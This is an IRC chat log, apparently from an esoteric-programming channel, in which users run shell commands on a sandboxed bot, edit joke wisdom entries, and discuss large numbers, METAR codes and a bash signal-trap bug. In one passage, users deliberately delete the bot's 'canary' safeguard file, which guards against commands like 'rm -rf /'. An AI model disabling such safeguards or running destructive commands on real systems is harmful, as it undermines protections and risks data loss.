22:59:37 <HackEgo> bin/danddreclist \ bin/don'taskdon'ttellllllllist \ bin/dontaskdonttelllllllist \ bin/FireFlist \ bin/list \ bin/listlist \ bin/makelist \ bin/mlist \ bin/testlist
22:59:44 <b_jonas> just to see what we should replace
22:59:49 <shachaf> Also I hope it's not written in Perl.
23:00:02 <b_jonas> shachaf: what's not written in perl?
23:00:15 <shachaf> The list replacement.
23:00:28 <b_jonas> shachaf: there isn't one yet
23:00:33 <shachaf> Right.
23:00:38 <shachaf> Do you prefer future tense?
23:00:43 <shachaf> I hope it won't be written in Perl.
23:02:04 <int-e> I hope it will not have been written in Perl. (have some future perfect!)
23:03:16 <b_jonas> where do we put execuables that shouldn't be executed directly? we don't have a libexec directory
23:03:25 <b_jonas> the list replacement backend (that each list invokes) should be there
23:03:36 <shachaf> I think it's fine to put in in bin/
23:03:42 <b_jonas> shachaf: nah, bin's in the path
23:03:47 <shachaf> So?
23:03:50 <b_jonas> this shouldn't be in the path
23:03:58 <shachaf> Just give it a long name.
23:04:03 <b_jonas> I could create a directory under lib or under share
23:04:23 <int-e> `? keenlist
23:04:25 <HackEgo> keenlist is notification for when Tom Hall finally acquires the necessary intellectual property rights to create the videogame series Commander Keen: The Universe is Toast
23:04:41 <int-e> oh I knew that... didn't remember though
23:04:52 <b_jonas> I think I'm the culprit of that one
23:04:53 <shachaf> `culprits lib
23:05:07 <HackEgo> oerjan oerjan oerjan elliott kmc kmc ais523 ais523 elliott FreeFull oerjan FreeFull Gregor nitia
23:05:29 <shachaf> b_jonas: Is keenlist a one-time list?
23:05:38 <b_jonas> shachaf: probably yes
23:05:39 <shachaf> We've had others, like slist.
23:05:46 <b_jonas> `? slist
23:05:47 <shachaf> Self-deleting is a useful feature.
23:05:48 <HackEgo> Update notification for the webcomic Homestuck.
23:05:51 <int-e> `` rm canary; keenlist
23:05:55 <HackEgo> keenlist: b_jonas
23:06:08 <int-e> . o O ( there are no one-time lists )
23:06:49 <int-e> but this one isn't self-deleting anyway
23:07:04 <shachaf> Right.
23:07:14 <shachaf> A true self-deleting list ought to touch canary as well.
23:07:30 <b_jonas> shachaf: what does canary even do?
23:07:36 <b_jonas> and what does touching canary do?
23:07:43 <int-e> oh, I should turn the order around... thanks
23:08:18 <shachaf> HackEgo won't commit your changes if canary doesn't exist.
23:08:28 <b_jonas> shachaf: ah!
23:08:28 <int-e> the canary detects that the coal mine is running low on oxygen
23:08:49 <b_jonas> int-e: should be called davy-lamp then
23:09:13 <int-e> mostly it's a basic protection against rm -rf / kind of stuff
23:09:33 <b_jonas> int-e: yeah
23:09:49 <b_jonas> int-e: but how does touching help? ah... right
23:10:04 <b_jonas> in case you deleted it
23:10:06 <int-e> shachaf brought up touching
23:10:34 <int-e> which means I should rm it afterwards... or perhaps mv it away so that making it a directory doesn't help either... hmmmmmmm
23:10:49 <b_jonas> int-e: rm;mkdir it, that's probably safer
23:10:59 -!- augur has joined.
23:11:02 <b_jonas> or, um
23:11:10 <b_jonas> ``` ls -dl canary
23:11:15 <HackEgo> ​-rw-r--r-- 1 5000000000 0 39 Jun 7 22:10 canary
23:11:18 <b_jonas> yes, tha
23:11:44 <shachaf> ls --downlow
23:12:00 <b_jonas> what
23:12:32 <int-e> b_jonas: I want it to be gone.
23:12:38 <shachaf> I've been trying to think of ways to delete canary.
23:12:40 <int-e> b_jonas: shachaf is the one who wanted to create it
23:12:59 <b_jonas> ``` rm canary && mkdir canary
23:13:03 <HackEgo> rm: cannot remove `canary': Is a directory
23:13:11 <b_jonas> ``` ls -dl canary
23:13:14 <HackEgo> drwxr-xr-x 2 5000000000 0 4096 Jun 7 22:12 canary
23:13:22 <shachaf> Thanks for breaking revert.
23:13:34 <b_jonas> ``` rmdir canary && touch canary
23:13:36 <HackEgo> rmdir: failed to remove `canary': No such file or directory
23:13:39 <b_jonas> ``` ls -dl canary
23:13:41 <HackEgo> ls: cannot access canary: No such file or directory
23:13:53 <shachaf> whoa whoa whoa
23:14:04 <int-e> `` touch AAAARGH
23:14:07 <HackEgo> No output.
23:14:17 <int-e> `` ls -ld canary
23:14:21 <HackEgo> ls: cannot access canary: No such file or directory
23:14:23 <b_jonas> ``` echo -n > canary
23:14:26 <HackEgo> No output.
23:14:28 <b_jonas> ``` ls -dl canary
23:14:30 <HackEgo> ​-rw-r--r-- 1 5000000000 0 0 Jun 7 22:13 canary
23:14:46 <b_jonas> ``` stat canary
23:14:48 <HackEgo> ​ File: `canary' \ Size: 0 Blocks: 0 IO Block: 1024 regular empty file \ Device: 12h/18dInode: 672260 Links: 1 \ Access: (0644/-rw-r--r--) Uid: ( 500000000/ UNKNOWN) Gid: ( 0/ UNKNOWN) \ Access: 2016-06-07 22:13:53.000000000000000 +000000000 \ Modify: 2016-06-07 22:13:52.00000000000000000000 +00000000 \ Change:
23:15:23 <int-e> `` ls -la /dev/urandom
23:15:24 <HackEgo> crw-rw-rw- 1 0 0 1, 9 Jan 29 2014 /dev/urandom
23:16:21 <int-e> `` mktemp aXXXXXX
23:16:26 <HackEgo> aeDAGoZ
23:16:34 <b_jonas> `revert
23:16:35 <int-e> `` ls -lart | tail -n1
23:16:38 <HackEgo> drwxr-xr-x 15 0 0 0 Jun 7 22:16 ..
23:16:51 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
23:17:40 <b_jonas> `sorry
23:17:42 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: sorry: not found
23:18:01 <b_jonas> fungot, are you ok?
23:18:01 <fungot> b_jonas: i told haskell to print the type in any binding form. k is bound to some initialization at loadtime
23:18:04 <shachaf> `? shavention
23:18:05 <HackEgo> shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, *list, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them.
23:18:15 <b_jonas> fungot: with monotype restriction?
23:18:28 <b_jonas> uh
23:18:34 <shachaf> `sled wisdom/shavention//s/\*list, //
23:18:38 <HackEgo> wisdom/shavention//shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them.
23:18:44 <shachaf> b_jonas: now you have to reinvent lists hth
23:19:09 <shachaf> Taneb: Did you invent shaving?
23:19:21 <shachaf> `quote invent anything
23:19:22 <HackEgo> 1278) <Taneb> Morning <shachaf> G'daneb <shachaf> invent anything good overnight? <Taneb> I don't know yet, I haven't read the logs
23:19:44 <Taneb> shachaf, I did not invent shaving, otherwise I'd be better at it
23:20:12 <shachaf> @time Taneb
23:20:12 <lambdabot> Local time for Taneb is Tue Jun 07 23:20:11
23:20:37 <shachaf> Taneb: Sometimes the first person to do something is the worst at it.
23:20:49 <shachaf> Since everyone else is standing on the shoulders of giant Tanebs.
23:21:12 <int-e> @devils lawyer
23:21:13 <lambdabot> *** "lawyer" devil "The Devil's Dictionary (1881-1906)"
23:21:13 <lambdabot> LAWYER, n. One skilled in circumvention of the law.
23:21:13 <lambdabot>
23:21:22 <int-e> why the extra newline...
23:23:03 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
23:23:37 -!- boily has joined.
23:23:45 <b_jonas> `? automatic squirrel feeder
23:23:49 <HackEgo> Automatic squirrel feeders are just feeders in the category of automatic squirrels. Taneb invented them.
23:25:01 <int-e> who are the squirrels fed to?
23:25:07 <int-e> `? english
23:25:09 <HackEgo> english? ¯\(°​_o)/¯
23:27:06 <b_jonas> `perl -e chdir "wisdom" or die; for $w (map {glob} qw"* */* */*/*") { if (open my$i,"<",$w) { local $/; my$t=<$i>; $t=~/invent/ai && $t=~/\btaneb/ai and print "|$w "; } }
23:27:10 <HackEgo> ​|automatic squirrel feeder |bbc |bdsm |bogosort |chu space |ci |costume |d-module |deniability |fundamental theorem of taneb |go |histogram |nih |nooodle |persistence |progres |real |shavention |stephen wolfram |tanebvention |tetris |the reals |the torus |the universe |this sentence |torus |universe |weetoflake |wolfram
23:27:11 <b_jonas> `? wolfram
23:27:13 <HackEgo> Stephen Wolfram is an esolanger with too much money and power. Taneb invented him.
23:27:17 <b_jonas> `? go
23:27:19 <HackEgo> Go is a common verbal game programming language invented by the Germanic Taneb tribes in the strategic territories of East Asia.
23:27:24 <b_jonas> `? d-module
23:27:26 <HackEgo> D-modules are just modules over the ring of differential operators. Taneb invented them.
23:27:27 <int-e> `learn English is an inherently ambiguous context-sensitive language that is too powerful to fully describe itself.
23:27:27 <b_jonas> `? costume
23:27:34 <HackEgo> Costumes are used for cosplay. Taneb sometimes invents them.
23:27:37 <HackEgo> Learned 'english': English is an inherently ambiguous context-sensitive language that is too powerful to fully describe itself.
23:27:45 <b_jonas> `? historgram
23:27:46 <b_jonas> `? nih
23:27:46 <HackEgo> historgram? ¯\(°​_o)/¯
23:27:48 <HackEgo> NIH was /not/ invented by Taneb.
23:27:53 <b_jonas> `? fundamental theorem of taneb
23:27:55 <HackEgo> The Fundamental Theorem of Taneb states that for all strings S, if S describes a thing, then it is provable that Taneb invented the thing described by S; and, furthermore, that it is provable that there exists a string T that describes a thing that Taneb did not invent.
23:27:59 <b_jonas> `? histogram
23:28:01 <HackEgo> Histograms are diagrams showing histamine levels. Taneb invented them.
23:28:03 <boily> int-e: the squirrels are fed to the automats hth.
23:28:27 <b_jonas> `? chu space
23:28:28 <HackEgo> A Chu space is just a matrix. Taneb invented them, then Chu stole his invention.
23:28:29 <b_jonas> `? torus
23:28:32 <HackEgo> Topologically, a torus is just a torus. Taneb invented it.
23:28:39 <b_jonas> `? the reals
23:28:40 <int-e> boily: darn. I was picturing things of nightmares... like the teletubbies.
23:28:40 <HackEgo> The reals are an overt complete ordered Brazilian currency invented by Taneb in 1994.
23:29:16 <b_jonas> heh
23:29:32 <b_jonas> `? teletubbies
23:29:34 <HackEgo> teletubbies? ¯\(°​_o)/¯
23:29:37 <b_jonas> `? lie algebra
23:29:38 <HackEgo> A Lie algebra is what you get if you take the region infinitesimally close to the identity of a Lie group and blow it up to normal size.
23:30:06 <int-e> ... it's the opposite of a Truth algebra.
23:30:12 <b_jonas> did taneb invent lie algebras?
23:30:21 <b_jonas> or teletubbies?
23:30:23 <b_jonas> `? tanebventions
23:30:26 <HackEgo> Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, the torus, gazpacho, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex.
23:30:36 <Taneb> b_jonas, this time next year I'll have invented Lie algebras
23:30:40 <int-e> hmm. Taneb vented.
23:31:15 <int-e> `? venture
23:31:27 <HackEgo> venture? ¯\(°​_o)/¯
23:32:11 <boily> int-e: https://www.youtube.com/watch?v=5qvCQv-CDr4
23:33:26 <int-e> Now I want to connect venture capital, venting (which has to do with hot air), bubbles, and stock market bubble in partiuclar.
23:34:33 <int-e> but good night
23:36:00 <boily> bonne nuint-e!
23:37:03 <b_jonas> ``` >>wisdom/it echo -n "Taneb invented it. "
23:37:09 <HackEgo> No output.
23:38:35 <b_jonas> `? submarine jousting
23:38:37 <HackEgo> submarine jousting? ¯\(°​_o)/¯
23:38:45 <b_jonas> ^ should this have a wisomd entry? or is it a better joke unexplained?
23:39:04 <b_jonas> um, I mean, as an in-joke whose explanation we don't reveal
23:39:32 <b_jonas> (though the diligent can find it if they search the channel logs carefully)
23:39:58 <b_jonas> `? Lambek's lemma
23:39:59 <HackEgo> Lambek's lemma? ¯\(°​_o)/¯
23:40:06 <boily> `le/rn submarine jousting/This is unexplainable.
23:40:11 <HackEgo> Learned «submarine jousting»
23:40:14 <b_jonas> I've no idea what Lambek's lemma is though
23:40:54 <boily> Taneb: did you tanebvent lambek?
23:41:05 -!- hppavilion[1] has joined.
23:41:07 <b_jonas> boily: um, could you put that in a format where it has "submarine jousting", like "submarine jousting is unexplainable"?
23:41:25 <boily> oh hm. indeed.
23:41:37 <b_jonas> `? tolkien
23:41:38 <b_jonas> `? ring
23:41:39 <HackEgo> tolkien? ¯\(°​_o)/¯
23:41:40 <HackEgo> Addition, subtraction and multiplication have a certain ring to them.
23:41:40 <b_jonas> `? one ring
23:41:41 <boily> `le/rn submarine jousting/submarine jousting is unexplainable.
23:41:44 <HackEgo> One Ring to rule them all, One Ring to find them, One Ring to bring them all and in the darkness bind them
23:41:46 <HackEgo> Relearned «submarine jousting»
23:42:20 <b_jonas> `? evil
23:42:21 <HackEgo> evil? ¯\(°​_o)/¯
23:42:21 <b_jonas> `? evil twin
23:42:23 <HackEgo> evil twin? ¯\(°​_o)/¯
23:42:28 <b_jonas> `? oerjan
23:42:29 <HackEgo> Your mysterious adjectival cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker.
23:46:20 <zzo38> "Evil" is how you write "live" backward.
23:47:57 <boily> oerjan lives far away in the Land of the Frost Giants. he's probably a unique monster himself, reachable through a long, arduous sidequesr.
23:48:10 <boily> s/sr/st/
23:49:28 <zzo38> I think I figured out the problem with my NTSC decoder and fixed it now.
23:50:18 <quintopia> helloily
23:50:57 <boily> quinthellopia
23:51:22 <hppavilion[1]> Huh. Googolplexigong is a number
23:51:31 <hppavilion[1]> 10^10^100_000
23:52:41 <hppavilion[1]> Aww, ##googology is barely occupied
23:52:50 <hppavilion[1]> 4 people, including me
23:52:54 <hppavilion[1]> And ChanServ
23:53:11 <quintopia> boily: oerjan is not actually reachable by any means, even visiting Niflheim in person
23:53:44 <boily> darn.
23:53:49 <quintopia> you can only cast magical IRC spells in his direction and hope some of them are overheard from such a distance
23:55:02 <quintopia> so here comes that weekend where you're free and i'm not
23:55:11 <quintopia> i'm p much never free weekends anymore!
23:55:14 * boily swings his mapole in the Summoning Dance. «y'où'c'que t'es rendu?»
23:55:17 <quintopia> always doing things!
23:55:20 <boily> noooooooooo!
23:55:37 <quintopia> if you teleport to philadelphia you might find me
23:56:26 <boily> you're in philly now? what is the nearest airport?
23:57:05 <hppavilion[1]> http://www.googolplexwrittenout.com/
23:59:03 <hppavilion[1]> Oooh, a googolplex is equivalent to ten trillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrest
23:59:03 <hppavilion[1]> rigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentilliduotrigintatrecentillion
23:59:31 <hppavilion[1]> (under Conway/Guy)
2016-06-08
00:00:26 <hppavilion[1]> Hm, the smallest known factor of 10^10^100+1 is 316,912,650,057,057,350,374,175,801,344,000,001
00:00:41 <hppavilion[1]> God I love impractically large numbers
00:01:37 <hppavilion[1]> Any number n suffixed with "-plex" is 10^n
00:01:43 <hppavilion[1]> threeplex, for example, is 1000
00:03:32 <boily> hppavellon[1]. megagon.
00:03:53 <boily> uhm, no, not megagon.
00:04:52 <boily> megiston!
00:05:23 <Koen_> so a googolplex is a hundredplexplex?
00:05:33 <boily> (meanwhile, while search-completing graham's number on wikipédia, this happened: https://en.wikipedia.org/wiki/Mammillaria_grahamii )
00:06:07 * izabera erases that from her browser history
00:07:21 <izabera> 01:00:26 hppavilion[1] | Hm, the smallest known factor of 10^10^100+1 is 316,912,650,057,057,350,374,175,801,344,000,001 <- just how did they manage to find it?
00:07:41 <hppavilion[1]> izabera: Who gives a fuck?
00:07:44 <izabera> i do
00:07:48 <hppavilion[1]> izabera: Oh.
00:07:53 <boily> you have a browser history?
00:08:02 * hppavilion[1] reevaluates his fuckgiving detection algorithm
00:08:04 <izabera> i haven't found a way to disable it
00:08:17 <Koen_> I used to have a brother but that's history
00:08:18 -!- Sgeo_ has joined.
00:08:34 <izabera> sorry to hear
00:08:40 <hppavilion[1]> izabera: But they probably used exp-mod. I think it generalizes to up-arrow
00:08:46 <Koen_> izabera: isn't there an option to clear all memory everytime you close the browser?
00:09:09 <hppavilion[1]> Koen_: I suppose it is (googolplex = hundredplexplex)
00:09:47 <hppavilion[1]> Googolmilliplex
00:10:00 <hppavilion[1]> Googol + 1_000_000 plexes
00:10:41 <hppavilion[1]> Cockburn is a very unfortunate surname
00:10:55 <hppavilion[1]> Also, I now have about a googol tabs open
00:11:52 <quintopia> i will be in philly in the weekend
00:12:23 <quintopia> the nearest airport is phl: philadelphia international
00:12:34 <quintopia> i don't know the corresponding metar station
00:12:38 <quintopia> could be kphl
00:13:21 <boily> @metar KPHL
00:13:21 <lambdabot> KPHL 072254Z 30008KT 10SM FEW060 SCT140 SCT250 26/12 A2950 RMK AO2 SLP989 T02560117 PNO $
00:13:29 <boily> sounds about right.
00:13:34 <boily> @metar CYUL
00:13:34 <lambdabot> CYUL 072300Z 27008G15KT 30SM FEW025TCU FEW050 FEW100 SCT240 18/12 A2941 RMK TCU1CU1AC2CI2 TCU TR CU TR SLP959 DENSITY ALT 1100FT
00:13:56 <boily> holy towering cumulus batman...
00:14:21 <hppavilion[1]> People being able to read @metar output scares me
00:14:52 <quintopia> i can't read it
00:14:58 <quintopia> i was hoping boily would translate those
00:15:27 <boily> let me do that...
00:16:11 <hppavilion[1]> What's the complex equivalent of a Googolplex? That is, the canonical really-fucking-big complex number?
00:17:12 <izabera> doesn't googolplex count as a really-fucking-big complex number?
00:17:35 <boily> KPHL: report made at 10:54pm UTC June 7th. winds from the northwest, 8 knots. ground visibility 10 miles. few clouds at 6000', scattered clouds at 14000' and at 25000'. temperature is 26 °C, dew point 12 °C. QFE is 29.50 inHg. random automated trend stuff. weather station needs maintenance.
00:18:33 <izabera> @metar TRN
00:18:41 <izabera> wait wrong code
00:19:27 <izabera> @metar LIMF
00:19:27 <lambdabot> LIMF 072250Z 27004KT 9999 TS VCSH SCT030CB 21/15 Q1021
00:19:43 <boily> CYUL: report at 11:00pm UTC June 7th. west winds, 8 knots with gusts at 15. ground visibility 30 miles. few clouds at 2500' with towering cumulus. few cumulus at 5000'. few altocumulus at 1000'. scattered cirrus at 24000'. temperature 18 °C, dew point 12 °C. QFE is 29.41 inHg, QNH is 995.9 hPa.
00:20:06 <izabera> boily: do LIMF plz
00:21:45 <boily> LIMF: report at 10:50pm UTC June 7th. west winds, 4 knots. no ground visibility limit. thunderstorms, with showers in the vicinity. scattered clouds at 3000'. don't know what CB is. temperature 21 °C, dew point 15 °C. QNH is 1002.1 hPa.
00:21:58 <hppavilion[1]> izabera: ...crap
00:22:18 <boily> izabera: are you Italian?
00:22:23 <izabera> yessir
00:23:47 <izabera> does Z mean UTC?
00:24:13 <quintopia> boily: how does 3000 or 2700 mean "northwest" and "west"
00:24:41 <boily> it's only the first three digits that are part of the compass hth.
00:24:46 <boily> izabera: yes.
00:24:52 <boily> CB is cumulonimbus.
00:25:19 <quintopia> is it 300 degrees clockwise from north?
00:25:29 <boily> yup.
00:25:36 <quintopia> oh okay
00:25:37 <quintopia> welp
00:25:39 <quintopia> battery low
00:25:42 <quintopia> time to go
00:25:45 <quintopia> enjoy the show
00:25:49 <izabera> goodbye~
00:26:10 <boily> quintonne soiréeia!
00:27:07 <boily> @localtime izabera
00:27:07 <lambdabot> Local time for izabera is Tue, 07 Jun 2016 23:27:07 +0000
00:27:26 <izabera> that's on my vps
00:27:32 <izabera> local time is 01:27
00:31:48 <izabera> did you know that google provides accurate stats on m:tg cards? http://i.imgur.com/C0YS9Y5.png
00:33:39 <boily> !
00:34:58 <hppavilion[1]> If the power n^m corresponds geometrically to the (hyper)volume of an m-cube with side-length n, what's tetration, anyway?
00:37:51 <Koen_> what if m is not an integer?
00:39:20 <hppavilion[1]> Koen_: Then you are dealing with a very strange universe
00:39:40 <izabera> haussdorf dimension
00:43:58 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
00:53:02 <Phantom_Hoover> i was about to quibble about all the disagreeing fractal dimensions but i guess hausdorf is more or less semantically what hppavilion described
01:19:39 -!- nisstyre has quit (Changing host).
01:19:39 -!- nisstyre has joined.
01:26:09 -!- oerjan has joined.
01:27:45 -!- Elronnd has changed nick to My.
01:27:56 -!- My has changed nick to Elronnd.
01:29:16 <oerjan> <shachaf> oerjan: do you know anything about https://en.wikipedia.org/wiki/Homology_(biology) <-- i've heard the term hth
01:29:42 <shachaf> Oh, I was going to make a placenta/placebo pun somehow.
01:30:04 <shachaf> And then I was reading https://en.wikipedia.org/wiki/Placenta and it talked about homology of placentas and it reminded me of you.
01:30:21 <oerjan> ...
01:31:17 <shachaf> I'm not quite reconstructing my train of thought there.
01:31:42 <oerjan> O KAY
01:34:26 -!- Akaibu has joined.
01:36:17 <boily> shachaf: remember, oerjan is a Frost Giant hth
01:36:18 <oerjan> åhoily! finally, we reach the end.
01:36:38 -!- xkapastel has joined.
01:36:45 <shachaf> Have you øhoilyd?
01:36:52 <oerjan> pretty sure
01:37:16 <oerjan> back on the 3rd
01:37:38 <oerjan> that's 5 days ago!
01:38:26 <oerjan> maybe i should have gone the {hoily path instead.
01:38:42 <oerjan> but that would soon give unprintable characters.
01:38:55 <boily> the porthoily that shan't be named.
01:39:50 <oerjan> i'm not a giant and i haven't even seen Frost hth
01:40:13 <boily> oerjan: how tall are you?
01:40:58 <oerjan> well i used to be 1.82 m, i cannot remember what it was last time i measured
01:41:36 <oerjan> actually i'm not even sure when.
01:42:16 <boily> ah, 6'. quite tall.
01:42:24 <oerjan> `frink 1.82m -> feet
01:42:33 <oerjan> behold the hopeless command
01:43:24 <HackEgo> No output.
01:43:29 <oerjan> `frink 1.82m -> feet
01:43:31 <zzo38> But a giant is going to be even more tall isn't it?
01:43:38 <oerjan> behold the still almost hopeless command
01:43:45 <zzo38> Then fix it
01:43:47 <oerjan> zzo38: you'd think.
01:44:06 <oerjan> zzo38: the problem isn't the command itself, but HackEgo's bad server that times out
01:44:07 <HackEgo> No output.
01:44:12 <boily> `wisdom
01:44:18 <HackEgo> bonsaikitten//Bonsaikitten is the cat typing behind the glass of the CRT when you run the cat command.
01:44:19 <zzo38> Write a faster program
01:44:37 <oerjan> zzo38: frink is a programming language
01:44:51 <oerjan> `which units
01:44:52 <HackEgo> ​/hackenv/bin/units
01:44:55 <oerjan> hm
01:45:21 <oerjan> `units 1.82m -> feet
01:45:24 <HackEgo> Error in '1.82m -> feet': Unknown unit '>'
01:45:35 <oerjan> `units 1.82m in feet
01:45:36 <HackEgo> ​Definition: 0.014090294 m^3
01:45:42 <oerjan> argh
01:46:02 <oerjan> hm...
01:46:16 <oerjan> `` units 1.82m feet
01:46:17 <HackEgo> ​* 5.9711286 \ / 0.16747253
01:46:41 <oerjan> what's the second line for
01:46:48 <boily> inverse.
01:47:28 <oerjan> right
01:48:10 -!- idris-bot has quit (Ping timeout: 244 seconds).
01:48:21 <oerjan> `culprits bin/units
01:48:28 <HackEgo> tswett tswett shachaf shachaf elliott elliott nitia
01:48:35 <oerjan> ic
02:05:12 -!- augur has quit (Remote host closed the connection).
02:06:25 <zzo38> Do USB wall plugs automatically shut off once the device has finished charging?
02:07:26 <boily> I don't think so. do you have an ammeter with you?
02:08:47 <zzo38> No
02:10:25 <zzo38> My brother has a problem the fan for his computer is connected by USB to a wall plug, and sometimes it goes off and won't go on until the USB wall plug is unplugged and then plug in again.
02:15:58 -!- boily has quit (Quit: WOOLY CHICKEN).
02:21:50 <izabera> so apparently i found a bug in bash and i'm wondering how serious it is from a security point of view
02:22:10 <izabera> bash can trap signals and i found a way to bypass a trap on sigalarm
02:22:43 <izabera> so if someone is running a security check of some sort when it gets a sigalarm, i can bypass that check
02:23:28 <oerjan> fancy
02:23:47 <izabera> i know nothing of security and i don't know how realistic that made up scenario is
02:24:28 <zzo38> It depend in what ways it might be bypassed I think, and I also don't know if there is something with the kernel that affects it?
02:24:42 <izabera> no it's just bash being stupid
02:26:26 <izabera> read -t 3 reads input with a 3s timeout, and it does so by calling setitimer and then catching the first sigalarm it gets
02:26:39 <izabera> which may or may not be the right one
02:26:42 * oerjan doesn't know what security programs if any are written in bash
02:26:52 <oerjan> sounds like a dangerous thing to do, anyway
02:27:54 <izabera> anyway if you have a trap on sigalarm and you deliver a sigalarm while your script is doing read -t, your trap never runs
02:28:18 <izabera> so idk
02:29:00 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
02:38:27 <zzo38> I don't expect that to be a problem.
02:38:45 <zzo38> You are just programming your script wrong if you do stuff like that.
02:39:04 <izabera> i don't think it's the user's fault
02:39:28 <zzo38> Yes, maybe it is te fault of the documentation, if it does not document that.
02:39:58 <izabera> read -t should just be implemented with select instead of messing with signals
02:41:08 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
02:42:20 <izabera> and what should the docs mention? "warning: traps may be randomly dropped for reasons that you can't control"
02:43:44 <zzo38> No, it should mention how read is implemented.
02:45:18 <izabera> i think people complain enough about the lenght of that man page without going into implementation details
02:47:47 <zzo38> Note that read does return failure when it times out anyways
02:48:27 <oerjan> `cat bin/makelist
02:48:27 <izabera> the point isn't read, it's the trap that never runs
02:48:29 <HackEgo> file="bin/$1"; shift; cp bin/emptylist "$file"; for n in "$@"; do echo "$n" >> "$file"; done
02:49:57 <izabera> `cat bin/emptylist
02:49:59 <HackEgo> echo -n "$(basename "$0")${@:+ }$@: "; tail -n+2 "$0" | xargs; exit
02:51:25 -!- hppavilion[1] has joined.
02:58:59 <hppavilion[1]> Huh. 666 is the 36th triangular number
02:59:06 <hppavilion[1]> And the sum of the numbers on a roulette wheel
03:00:08 <hppavilion[1]> The first 144 (122) digits of pi add up to 666
03:01:25 <hppavilion[1]> 666666666666666666666666666666666666666666666666666666666666666666
03:01:28 <hppavilion[1]> 66 6s
03:01:35 <oerjan> beastly
03:01:58 <hppavilion[1]> 66 repeated 33 times
03:03:13 <izabera> The first 144 (122) digits of pi add up to 666 <- why is this noteworthy?
03:03:34 <hppavilion[1]> 33, of course, being the highest degree of freemason
03:03:37 <hppavilion[1]> (damn this is fun)
03:03:40 <hppavilion[1]> izabera: It's just weird
03:03:46 <izabera> why?
03:03:47 <hppavilion[1]> izabera: 122 is supposed to be 12^2
03:03:54 <izabera> yeah i figured that
03:04:05 <hppavilion[1]> izabera: It's a perfect square
03:04:09 <izabera> so?
03:04:14 <hppavilion[1]> izabera: And there aren't very many of those (:P)
03:04:27 <izabera> they were infinite last time i checked
03:04:37 <hppavilion[1]> izabera: Yes, that's the joke
03:04:58 <hppavilion[1]> izabera: But still, it's rather funny. I'm sure I could freak someone out with it.
03:24:22 -!- Cale has quit (Ping timeout: 272 seconds).
03:25:18 <zzo38> Some people don't like 666
03:27:46 <zzo38> Are you sure 33 is the highest degree of Freemasonry? I thought there are only three degrees
03:29:26 -!- augur has joined.
03:29:52 <zzo38> O, the Scottish Rite has 33 degrees.
03:37:47 -!- Cale has joined.
03:38:15 <zzo38> But I don't know any Freemasonry that would have 90 degrees.
03:39:00 <zzo38> (Someone claimed that the 90th degree of Freemasonry is when they are told that they worship the devil.)
03:39:12 <zzo38> (Of course, that is complete nonsense.)
03:41:56 -!- pelegreno_ has quit (Remote host closed the connection).
03:42:05 -!- Sprocklem has quit (Ping timeout: 260 seconds).
03:43:11 -!- pelegreno has joined.
03:49:43 -!- Sprocklem has joined.
04:13:30 <oerjan> `? it
04:13:37 <HackEgo> It little profits that an idle king, / By this still hearth, among these barren crags, / Match'd with an aged wife, I mete and dole / Unequal laws unto a savage race, / That hoard, and sleep, and feed, and know not me. / I cannot rest from travel: I will drink / Life to the lees; all times I have enjoy'd / Greatly, have suffer'd greatly, both with
04:13:58 <oerjan> `` \? it | tail
04:14:01 <HackEgo> It little profits that an idle king, / By this still hearth, among these barren crags, / Match'd with an aged wife, I mete and dole / Unequal laws unto a savage race, / That hoard, and sleep, and feed, and know not me. / I cannot rest from travel: I will drink / Life to the lees; all times I have enjoy'd / Greatly, have suffer'd greatly, both with
04:15:09 <oerjan> `` \? it | tail -c350
04:15:11 <HackEgo> s, councils, governments, / Myself not least, but honour'd of them all; / And drunk delight of battle with my peers, / Far on the ringing plains of windy Troy, / I am a part of all that I have met; / Yet all experience is an arch wherethro' / Gleams that untravell'd world, whose margin fades / For ever and for ever when I move. \ Taneb invented it
04:16:52 <oerjan> `? submarine jousting
04:16:54 <HackEgo> submarine jousting is unexplainable.
04:17:23 <oerjan> `sled wisdom/submarine jousting//s/./S/
04:17:28 <HackEgo> wisdom/submarine jousting//Submarine jousting is unexplainable.
04:19:34 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
04:29:17 <tswett> `? shakespeare
04:29:18 <HackEgo> And besicue and a saint and son the may bean the butcious and one them bear and may me for here the mance of my lord, and leave and thou arl of the prince and will not and and hour blood and the be buralont;
04:39:53 <shachaf> http://www.isi.edu/natural-language/people/poem/poem.php
04:40:08 <shachaf> Nepali Turkish Timorese / and foreign sourcing overseas .
04:40:25 <shachaf> McCann cartoons instead delay / and burdens customers today .
04:50:08 <shachaf> Detector member Silverstein / declares an exquisite cuisine .
04:52:56 <shachaf> The royals simply integrate / a Muslim Serbian dictate .
04:53:24 <shachaf> Hotels and countless alternates / recouped unless demand dictates .
04:53:43 <shachaf> Divorce asylum entertained / the jurors challenges remained .
04:53:46 <shachaf> These are TG.
